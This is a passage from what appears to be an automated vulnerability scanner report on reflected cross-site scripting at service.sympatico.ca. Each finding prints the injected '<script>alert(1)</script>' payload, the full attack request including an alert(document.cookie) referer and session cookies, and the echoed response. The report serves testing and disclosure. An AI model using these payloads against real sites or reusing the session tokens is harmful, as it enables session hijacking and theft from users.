www%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; VOKEN_SEEN=0

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:04:48 GMT
Connection: close
Set-Cookie: SMSESSION=40MxwUVVYUN3MjExwNQ7tDHOJ7lNSUP1Wc9O6AVGHkM1lcIKYD7ZVG6nNp7Y2Z150Fsl/kt6kL5/7EeZJP5t14dexTIKFdpMpDpDJcM8mjF1yVNbvoCszxbofN8kQAmoQmnosYh5SNN1hTlXpOKnskMz+nswkgEg1wjHDdDio8gZqSnWsmlTnnF3EAIfTT7NYhbKQnphJ9zTwAP+JVBZhVcU1pUuxjvvETDLs0bDgvMnx7N4yABHQIvE9LQvL5WJRuy7zJjWjsDW6HTa+3Us0pJgH60RC5cVrkt/m2udRRWqHM99KYzB5w==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:04:48 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:04:48 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:04:48 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:04:48 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:04:48 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:04:48 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:04:48 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:04:48 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:04:48 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:04:48 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
<input type="hidden" name="return" value="https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=https://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/js4df03"><script>alert(1)</script>efb8aa75f0d/jquery.js" />
...[SNIP]...

2.286. https://service.sympatico.ca/js/jquery.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://service.sympatico.ca
Path:   /js/jquery.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d2237"><script>alert(1)</script>13ab80f0d44 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js/jquery.jsd2237"><script>alert(1)</script>13ab80f0d44 HTTP/1.1
Host: service.sympatico.ca
Connection: keep-alive
Referer: https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E08b85c0c654
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1292876043197%26vn%3D3; Language=en; __utmz=76150551.1290615373.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/10; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290617286170%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utma=76150551.1461550168.1290615373.1290615373.1290615373.1; __utmc=76150551; __utmb=76150551.5.10.1290615373; SMSESSION=TgprfkKpYwggjqLgMgF2R7U5lKJiO70uACzJubrRufBG8X4XFb7CoOjFI/rfGNFHrcSgUVGCrl0mIryXuNetQ+twfJal39GmuzRUumSIln9R+rDLdUzUqMn1W5ogsXO2jRwI8Uqm4Q6un5aN5g8DNrjrjgYStAed+jDb/u4BG8FgpPfns7ewVUoYnD7xoG4ruboFicAEUxtxwzDE2SeMJju7RXd0LQj8bn6xvUI0h4a+pAtNSHeqoCWQ2HYR5eBswWOVIn0duU4BjvXX00Dcim3fwpIMFjrLSb93fGDkYMjSSEp+tFiBtw==; CFID=122144950; CFTOKEN=57529978; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; GEO_SPEED=Unknown; GEO_PROVIDER=Unknown; GEO_REGION=Unknown; BASE_CACHED_URL=index%2Ecfm; UUID=7E7D4EE1%2D65B8%2DB18C%2D8BB2A5969E294761; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; VOKEN_SEEN=0

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:04:50 GMT
Connection: close
Set-Cookie: SMSESSION=NrP66iDg4+KFU4Kb1hyHgxyC59sgo8RtuehiFKjeU/QlYcjy2SqwxUYD8jqQPBo6mZmMaeqGixUbSZfUOPqc9/Vq61hbjk/Gp3PvkGgjsXJF5xQqxJK9od31BQGg+zaLUiazIH41/F75ioRMHurcSkZQK+Jv5gHxGosFD/a20Il66akqRL6budrnvAD+6P8urt6Bpw97wBYRyHv9OP5y0Cp1g0sbZsSNdZ3jZdcwZUR3atmzCFeTGyse/hpIaHhoUeEP9PdbaYUukpUtpdZ2GiJ9SHHpVuyEz8V5EJq1ACXyUk2Mb9H+PQ==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:04:51 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:04:51 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:04:51 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:04:51 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:04:51 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:04:51 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:04:51 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:04:51 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:04:51 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:04:51 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
e="hidden" name="return" value="https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=https://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/js/jquery.jsd2237"><script>alert(1)</script>13ab80f0d44" />
...[SNIP]...

2.287. https://service.sympatico.ca/js/jquery.selectbox.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://service.sympatico.ca
Path:   /js/jquery.selectbox.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3335e"><script>alert(1)</script>3741831614e was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js3335e"><script>alert(1)</script>3741831614e/jquery.selectbox.js HTTP/1.1
Host: service.sympatico.ca
Connection: keep-alive
Referer: https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E08b85c0c654
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1292876043197%26vn%3D3; Language=en; __utmz=76150551.1290615373.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/10; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290617286170%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utma=76150551.1461550168.1290615373.1290615373.1290615373.1; __utmc=76150551; __utmb=76150551.5.10.1290615373; SMSESSION=TgprfkKpYwggjqLgMgF2R7U5lKJiO70uACzJubrRufBG8X4XFb7CoOjFI/rfGNFHrcSgUVGCrl0mIryXuNetQ+twfJal39GmuzRUumSIln9R+rDLdUzUqMn1W5ogsXO2jRwI8Uqm4Q6un5aN5g8DNrjrjgYStAed+jDb/u4BG8FgpPfns7ewVUoYnD7xoG4ruboFicAEUxtxwzDE2SeMJju7RXd0LQj8bn6xvUI0h4a+pAtNSHeqoCWQ2HYR5eBswWOVIn0duU4BjvXX00Dcim3fwpIMFjrLSb93fGDkYMjSSEp+tFiBtw==; CFID=122144950; CFTOKEN=57529978; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; GEO_SPEED=Unknown; GEO_PROVIDER=Unknown; GEO_REGION=Unknown; BASE_CACHED_URL=index%2Ecfm; UUID=7E7D4EE1%2D65B8%2DB18C%2D8BB2A5969E294761; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; VOKEN_SEEN=0

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:04:20 GMT
Connection: close
Set-Cookie: SMSESSION=68zX8sX7wjlKNzTboeXY/aWO5fCAl1D5VQxnC/52rC3n+PlAJRxvmVS2NKWwi9GQGO6UwMb7/G71ue7lef9RwHTmZUYFYyas5dacxSPHCC9A8KCDv8q/sy5UToWyRAwitlTyJqhANbOoCiT1+f5Rcg8zEPCdy/7ZHkGvBtpJJMPGB78I1/FPeSlHDELTZP+X7q6oz71CSFGMVoqtCO2N4fnU/G9w/8GusAb24EmI0ru2UPrv2Naysa55qPHmhdTtQI6G3n4gieRX8QOvKL1BP2bWmAuk6ituhYmhlf6BdZU1ZuwvUmXobA==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:04:20 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:04:20 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:04:20 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:04:20 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:04:20 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:04:20 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:04:20 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:04:20 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:04:20 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:04:20 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
<input type="hidden" name="return" value="https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=https://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/js3335e"><script>alert(1)</script>3741831614e/jquery.selectbox.js" />
...[SNIP]...

2.288. https://service.sympatico.ca/js/jquery.selectbox.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://service.sympatico.ca
Path:   /js/jquery.selectbox.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 86da2"><script>alert(1)</script>3a5e53dbcff was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js/jquery.selectbox.js86da2"><script>alert(1)</script>3a5e53dbcff HTTP/1.1
Host: service.sympatico.ca
Connection: keep-alive
Referer: https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E08b85c0c654
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1292876043197%26vn%3D3; Language=en; __utmz=76150551.1290615373.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/10; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290617286170%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utma=76150551.1461550168.1290615373.1290615373.1290615373.1; __utmc=76150551; __utmb=76150551.5.10.1290615373; SMSESSION=TgprfkKpYwggjqLgMgF2R7U5lKJiO70uACzJubrRufBG8X4XFb7CoOjFI/rfGNFHrcSgUVGCrl0mIryXuNetQ+twfJal39GmuzRUumSIln9R+rDLdUzUqMn1W5ogsXO2jRwI8Uqm4Q6un5aN5g8DNrjrjgYStAed+jDb/u4BG8FgpPfns7ewVUoYnD7xoG4ruboFicAEUxtxwzDE2SeMJju7RXd0LQj8bn6xvUI0h4a+pAtNSHeqoCWQ2HYR5eBswWOVIn0duU4BjvXX00Dcim3fwpIMFjrLSb93fGDkYMjSSEp+tFiBtw==; CFID=122144950; CFTOKEN=57529978; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; GEO_SPEED=Unknown; GEO_PROVIDER=Unknown; GEO_REGION=Unknown; BASE_CACHED_URL=index%2Ecfm; UUID=7E7D4EE1%2D65B8%2DB18C%2D8BB2A5969E294761; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20